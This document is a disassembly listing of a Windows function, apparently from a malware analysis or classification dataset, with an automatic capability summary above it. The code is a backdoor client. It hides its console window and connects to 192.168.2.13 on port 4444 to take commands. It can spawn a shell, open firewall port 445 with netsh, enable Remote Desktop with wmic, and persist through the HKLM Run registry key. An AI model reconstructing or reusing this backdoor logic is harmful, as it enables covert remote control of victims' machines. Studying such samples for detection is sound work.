Function at 0x401a5a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Execute command
Hide graphical window
Initialize winsock library
Persist via run registry key
Receive data
Receive data on socket
Send data
Send data on socket
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x4c8
mov ebx, ecx
call sym.___main
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401ab2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
lea eax, [ebp - 0x274]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0x20], eax
mov word [sock.sin_family], 2
mov dword [esp], str.192.168.2.13
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [sock.sin_addr], eax
mov dword [esp], 0x115c
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [sock.sin_port], ax
mov dword [esp + 8], 0x10
lea eax, [sock.sin_family]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
cmp eax, 0xffffffff
setne al
test al, al
je 0x401b29
call dbg.getIP()
mov dword [ebp - 0x24], eax
mov dword [esp], 1
call sym._sleep
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x100
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
cmp eax, 0xffffffff
mov dword [ebp - 0x4a0], 0
lea edx, [ebp - 0x49c]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x4a0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x401bfc
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov dword [esp], eax
call sym._system
mov eax, 0
jmp 0x402110
lea eax, [ebp - 0xc9]
mov ecx, eax
call fcn.00460ce0
lea eax, [ebp - 0xe4]
lea edx, [ebp - 0xc9]
mov dword [esp + 4], edx
lea edx, [ebp - 0x4a0]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
mov dword [esp + 4], 0x4b1093
lea eax, [ebp - 0xe4]
mov dword [esp], eax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
mov esi, eax
lea eax, [ebp - 0xe4]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0xc9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, esi
test al, al
je 0x401dbd
mov dword [esp + 4], 0x9c40
mov dword [esp], 0x4e20
call dbg.random_int(int, int)
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x29c]
mov edx, dword [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.std::__cxx11::to_string(int)
lea eax, [ebp - 0x29c]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [ebp - 0x2c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 5
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x3a0], 0
lea edx, [ebp - 0x39c]
mov eax, 0
mov ecx, 0x3f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x3a0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
lea eax, [ebp - 0xad]
mov ecx, eax
call fcn.00460ce0
lea eax, [ebp - 0xc8]
lea edx, [ebp - 0xad]
mov dword [esp + 4], edx
lea edx, [ebp - 0x3a0]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
mov dword [esp + 4], 0x4b1093
lea eax, [ebp - 0xc8]
mov dword [esp], eax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
mov esi, eax
lea eax, [ebp - 0xc8]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0xad]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, esi
test al, al
je 0x401db0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 5
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x28]
movzx eax, ax
mov dword [esp], eax
call dbg.shell(unsigned short)
lea eax, [ebp - 0x29c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x91]
mov ecx, eax
call fcn.00460ce0
lea eax, [ebp - 0xac]
lea edx, [ebp - 0x91]
mov dword [esp + 4], edx
lea edx, [ebp - 0x4a0]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
mov dword [esp + 4], 0x4b1095
lea eax, [ebp - 0xac]
mov dword [esp], eax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
mov esi, eax
lea eax, [ebp - 0xac]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x91]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, esi
test al, al
je 0x401e31
mov dword [esp], str.netsh_advfirewall_firewall_add_rule_nameblue445_dirin_actionallow_protocolTCP_localport445
call sym._system
lea eax, [ebp - 0x75]
mov ecx, eax
call fcn.00460ce0
lea eax, [ebp - 0x90]
lea edx, [ebp - 0x75]
mov dword [esp + 4], edx
lea edx, [ebp - 0x4a0]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
mov dword [esp + 4], 0x4b10f8
lea eax, [ebp - 0x90]
mov dword [esp], eax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
mov esi, eax
lea eax, [ebp - 0x90]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x75]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, esi
test al, al
je 0x401e9c
mov dword [esp], str.wmic_RDTOGGLE_WHERE_ServerName_COMPUTERNAME__call_SetAllowTSConnections_1
call sym._system
lea eax, [ebp - 0x59]
mov ecx, eax
call fcn.00460ce0
lea eax, [ebp - 0x74]
lea edx, [ebp - 0x59]
mov dword [esp + 4], edx
lea edx, [ebp - 0x4a0]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
mov dword [esp + 4], 0x4b1149
lea eax, [ebp - 0x74]
mov dword [esp], eax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
mov esi, eax
lea eax, [ebp - 0x74]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x59]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, esi
test al, al
je 0x401efc
mov eax, 0
jmp 0x402110
lea eax, [ebp - 0x3d]
mov ecx, eax
call fcn.00460ce0
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x3d]
mov dword [esp + 4], edx
lea edx, [ebp - 0x4a0]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
mov dword [esp + 4], 0x4b114b
lea eax, [ebp - 0x58]
mov dword [esp], eax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
mov esi, eax
lea eax, [ebp - 0x58]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x3d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, esi
test al, al
je 0x401b93
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x2a0]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf013f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x40203f
mov dword [ebp - 0x3c], 0x4b117e
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strlen
mov edx, dword [ebp - 0x2a0]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.startup
mov dword [esp], edx
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x401b93
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x401b93
mov dword [ebp - 0x38], 0x4b1188
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x401b93
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret